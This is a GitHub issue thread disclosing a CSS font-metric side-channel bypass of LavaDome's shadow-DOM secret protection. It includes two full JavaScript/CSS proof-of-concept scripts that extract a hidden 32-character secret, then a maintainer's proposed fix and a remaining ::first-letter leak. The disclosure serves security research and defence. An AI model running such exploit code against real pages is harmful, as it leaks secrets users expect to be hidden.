Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

LavaDome bypass by detecting character height #48

Closed
masatokinugawa opened this issue Jul 5, 2024 · 5 comments · Fixed by #49
Closed

LavaDome bypass by detecting character height #48

masatokinugawa opened this issue Jul 5, 2024 · 5 comments · Fixed by #49
Labels
bypass LavaDome security breach chromium Chromium related firefox Firefox related

Comments

@masatokinugawa
Copy link

This trick only uses a local font installed by default. No need to use remote fonts or SVG fonts.
I wrote the details in the comments of the PoC below. The basic idea comes from https://demo.vwzq.net/css2.html by @cgvwzq.

Steps to reproduce:

  • Visit the demo using Chrome or Firefox. (I confirmed to work on both Windows and Mac. Safari doesn't support descent-override property I used in the @font-face part, so doesn't work.)
  • Open console and run the code below
const secretChars = "0123456789abcdef";
let foundChars = "";
let styleText = "";

// Define fonts for each character included in the secret using the `unicode-range` of `@font-face`.
// Here, use `descent-override` property to change the height of each character.
// Also, narrow the #PRIVATE's width so that wrapping occurs character by character.
// And make the size of the characters in the first-line smaller than the rest.
// By doing so, when the #PRIVATE's width is widened little by little, the characters will drop to the first-line one by one.
const style = document.createElement('style');
document.body.appendChild(style);
for (let index = 0; index < secretChars.length; index++) {
  styleText += `@font-face{
    font-family: hack;
    src: local('Comic Sans MS');
    descent-override:${(index+2)*100}%;
    unicode-range: U+${secretChars[index].charCodeAt(0).toString(16)};
}\n`;
}
styleText += `#PRIVATE {
  font-family:hack;
  word-wrap: break-word;
  font-size:1000px;
  width:0px;
}
#PRIVATE:before{
  content:"x";
}
#PRIVATE::first-line {
  font-family: "Comic Sans MS";
  font-size:30px;
}
#check-height{
    font-family:hack;
    font-size:1000px;
}
`;
style.innerHTML = styleText;

// Check 0's height.
// From this height, you can determine the heights of all other characters.
// e.g. 1's height = 0's height + 1000, 2's height = 0's height + 2000, ...
const testElement = document.createElement('p');
testElement.id = "check-height";
testElement.innerHTML = "0";
document.body.appendChild(testElement);
const baseHeight = testElement.scrollHeight;

// Widen the #PRIVATE's width little by little and drop the characters to the first-line one by one.
// If a character fall to the first-line, the #PRIVATE's height will be changed.
// From this height's difference, detect what the character is.
let pHeight = PRIVATE.scrollHeight;
let pWidth = 1;
while(1){
  if (pHeight !== PRIVATE.scrollHeight) {
    let heightDiff = pHeight - PRIVATE.scrollHeight;
    foundChars += secretChars[(heightDiff - baseHeight) / 1000];
    console.log(`Found: ${foundChars}`);
    if (foundChars.length == 32) {
      alert(foundChars);
      break;
    }
    pHeight = PRIVATE.scrollHeight;
  }
  PRIVATE.style.width = `${pWidth}px`;
  pWidth++;
}
@weizman
Copy link
Member

weizman commented Jul 6, 2024

I have to admit @masatokinugawa that this doesn't work on neither FF nor Chrome for me - I keep getting this:

Screenshot 2024-07-07 at 0 55 05

@masatokinugawa
Copy link
Author

Can you try the following code? The possible cause is that the heights are slightly different.

const secretChars = "0123456789abcdef";
let foundChars = "";
let styleText = "";

// Define fonts for each character included in the secret using the `unicode-range` of `@font-face`.
// Here, use `descent-override` property to change the height of each character.
// Also, narrow the #PRIVATE's width so that wrapping occurs character by character.
// And make the size of the characters in the first-line smaller than the rest.
// By doing so, when the #PRIVATE's width is widened little by little, the characters will drop to the first-line one by one.
const style = document.createElement('style');
document.body.appendChild(style);
for (let index = 0; index < secretChars.length; index++) {
  styleText += `@font-face{
    font-family: hack;
    src: local('Comic Sans MS');
    descent-override:${(index+2)*100}%;
    unicode-range: U+${secretChars[index].charCodeAt(0).toString(16)};
}\n`;
}
styleText += `#PRIVATE {
  font-family:hack;
  word-wrap: break-word;
  font-size:1000px;
  width:0px;
}
#PRIVATE:before{
  content:"x";
}
#PRIVATE::first-line {
  font-family: "Comic Sans MS";
  font-size:30px;
}
#check-height{
    font-family:hack;
    font-size:1000px;
}
`;
style.innerHTML = styleText;

// Check 0's height.
// From this height, you can determine the heights of all other characters.
// e.g. 1's height = 0's height + 1000, 2's height = 0's height + 2000, ...
const testElement = document.createElement('p');
testElement.id = "check-height";
testElement.innerHTML = "0";
document.body.appendChild(testElement);
const baseHeight = testElement.scrollHeight;

// Widen the #PRIVATE's width little by little and drop the characters to the first-line one by one.
// If a character fall to the first-line, the #PRIVATE's height will be changed.
// From this height's difference, detect what the character is.
let pHeight = PRIVATE.scrollHeight;
let pWidth = 1;
while (1) {
  if (pHeight !== PRIVATE.scrollHeight) {
    let heightDiff = pHeight - PRIVATE.scrollHeight;
    for (let index = 0; index < secretChars.length; index++) {
      if (Math.abs(heightDiff - (baseHeight + (1000 * index))) < 10) {
        foundChars += secretChars[index];
        console.log(`Found: ${foundChars}`);
        break;
      }
    }
    if (foundChars.length == 32) {
      alert(foundChars);
      break;
    }
    pHeight = PRIVATE.scrollHeight;
  }
  PRIVATE.style.width = `${pWidth}px`;
  pWidth++;
}

@weizman
Copy link
Member

weizman commented Jul 7, 2024

That works!

Didn't look too much into it yet, but some intuition I have here is that maybe there's no escaping from LavaDome instance to introduce its own set of CSS rules to win the specificity race so that applying such CSS rules from outside won't work.

For example, here you leverage an ability to resize internals of the shadow by resizing the size of the font - so if the size of the font remains constant, you shouldn't be able to achieve that (I think).

@weizman
Copy link
Member

weizman commented Jul 9, 2024

@masatokinugawa #48 is an interesting [draft] approach I think.

Basically it focuses on neutralizing outer CSS that goes after specific characters.

The only one I'm familiar with is this unicode-range trick, which seems to only be applicable via @font-face, so basically by forcing a non-existing @font-face on the sensitive nodes within the shadow (with the highest specificity possible) we make it so that outer @font-faces can't force themselves upon nodes within the shadow.

The downside here is that specifically legitimate @font-faces by the app won't apply either, but at this point I'm willing to sacrifice this IF this approach is actually valid.

Curious to hear your thoughts.

EDIT: I think this will solve the local Safari theoretical attack too #40 (comment)

@masatokinugawa
Copy link
Author

I think the approach is valid. But it seems that ::first-letter can still override the style applied in the shadow DOM even after that fix is deployed. I created the test page: https://masatokinugawa.github.io/css/first-letter_and_first-line.html
Therefore, at least the first character can still be leaked. I don't really understand how this priority works but if there is CSS that can override this trick, ideally it should be applied as well.

@weizman weizman added bypass LavaDome security breach chromium Chromium related firefox Firefox related labels Jul 11, 2024
@weizman weizman linked a pull request Jul 12, 2024 that will close this issue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bypass LavaDome security breach chromium Chromium related firefox Firefox related
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants